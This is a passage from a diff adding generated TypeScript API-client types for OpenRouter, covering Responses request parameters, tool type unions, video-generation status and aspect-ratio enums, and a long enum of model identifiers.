@description + * Format: `double` + * @type number | undefined + */ + temperature?: number | null + /** + * @description Text output configuration including format and verbosity + * @example {"format":{"type":"text"}} + */ + text?: TextExtendedConfig + /** + * @example auto + */ + tool_choice?: OpenAIResponsesToolChoice + tools?: ( + | (FunctionTool & { + allowed_callers?: + | OpenrouterPostResponsesRequestToolsAllowedCallersEnumKey[] + | null + /** + * @description Lets the model keep working after calling this tool instead of waiting for its output. The tool is still executed by the client; return the result in a later request as a `function_call_output` with the original `call_id`. Only honored by providers whose Responses API supports async tools; ignored elsewhere. + * @example true + * @type boolean | undefined + */ + async?: boolean + /** + * @description Withhold this tool from the model until `openrouter:tool_search` finds it. Where the request declares no search tool, OpenRouter may add `openrouter:tool_search` to serve the flag, and otherwise sends the tool in full. A request that declares the search tool itself must keep at least one tool non-deferred. + * @example true + * @type boolean | undefined + */ + defer_loading?: boolean + output_schema?: { + [key: string]: unknown + } | null + }) + | PreviewWebSearchServerTool + | Preview20250311WebSearchServerTool + | LegacyWebSearchServerTool + | WebSearchServerTool + | FileSearchServerTool + | ComputerUseServerTool + | CodeInterpreterServerTool + | McpServerTool + | ImageGenerationServerTool + | CodexLocalShellTool + | ShellServerTool + | ApplyPatchServerTool + | CustomTool + | NamespaceTool + | AdvisorServerToolOpenRouter + | SubagentServerToolOpenRouter + | DatetimeServerTool + | FilesServerTool + | FusionServerToolOpenRouter + | ImageGenerationServerToolOpenRouter + | SearchModelsServerToolOpenRouter + | WebFetchServerTool + | WebSearchServerToolOpenRouter + | ApplyPatchServerToolOpenRouter + | BashServerTool + | ShellServerToolOpenRouter + | ToolSearchServerTool + | McpServerToolOpenRouter + )[] + top_k?: number + top_logprobs?: number | null + /** + * @description + * Format: `double` + * @type number | undefined + */ + top_p?: number | null + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @example auto + * @type string | undefined + */ + truncation?: OpenAIResponsesTruncationKey | null + /** + * @description A unique identifier representing your end-user, which helps distinguish between different users of your app. This allows your app to identify specific users in case of abuse reports, preventing your entire app from being affected by the actions of individual users. Maximum of 256 characters. + * @maxLength 256 + * @type string | undefined + */ + user?: string +} + +export type OpenrouterPostResponsesOptions = { + body: OpenrouterPostResponsesBody + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostResponsesResponses = { + '200': + | { + contentType: 'application/json' + data: OpenrouterPostResponsesStatus200Json + } + | { + contentType: 'text/event-stream' + data: OpenrouterPostResponsesStatus200EventStream + } +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostResponsesResponse = OpenrouterPostResponsesStatus200 + +export const openrouterPostVideosStatus200StatusEnum = { + pending: 'pending', + in_progress: 'in_progress', + completed: 'completed', + failed: 'failed', + cancelled: 'cancelled', + expired: 'expired', +} as const + +export type OpenrouterPostVideosStatus200StatusEnumKey = + (typeof openrouterPostVideosStatus200StatusEnum)[keyof typeof openrouterPostVideosStatus200StatusEnum] + +/** + * @example {"generation_id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","polling_url":"/api/v1/videos/gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","status":"pending"} + * @type object + */ +export type OpenrouterPostVideosStatus200 = { + error?: string + /** + * @description Unix timestamp in seconds when OpenRouter's stored copy of the outputs stops being available. Present only when that copy exists. + * @type integer | undefined + */ + expires_at?: number + /** + * @description The generation ID associated with this video generation job. Available once the job has been processed. + * @type string | undefined + */ + generation_id?: string + /** + * @description The video job ID, in the `gen-vid--<20 alphanumerics>` generation ID format. Pass it as `previous_job_id` to continue the generation. + * @type string + */ + id: string + polling_url: string + status: OpenrouterPostVideosStatus200StatusEnumKey + /** + * @description OpenRouter content URLs for each output. They need your API key in the `Authorization` header and keep working for as long as the output is available. + * @type array | undefined + */ + unsigned_urls?: string[] + /** + * @description Signed download URLs for OpenRouter's stored copy of each output, usable without an API key until `expires_at`. Anyone holding a URL can download that output until it expires, so treat it like a secret. Present only when the stored copy exists. + * @type array | undefined + */ + urls?: string[] + /** + * @description Usage and cost information for the video generation. Available once the job has completed. + * @example {"cost":0.5,"is_byok":false} + * @type object | undefined + */ + usage?: VideoGenerationUsage +} + +export const openrouterPostVideosRequestAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + '4:3': '4:3', + '3:4': '3:4', + '3:2': '3:2', + '2:3': '2:3', + '21:9': '21:9', + '9:21': '9:21', +} as const + +export type OpenrouterPostVideosRequestAspectRatioEnumKey = + (typeof openrouterPostVideosRequestAspectRatioEnum)[keyof typeof openrouterPostVideosRequestAspectRatioEnum] + +export const openrouterPostVideosRequestModelEnum = { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': '~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + '~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 'meta/muse-wonder': 'meta/muse-wonder', + 'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 'nvidia/nemotron-3.5-super-vl:free': 'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 'openrouter/pareto-code', + 'particle-ai/particle-1': 'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 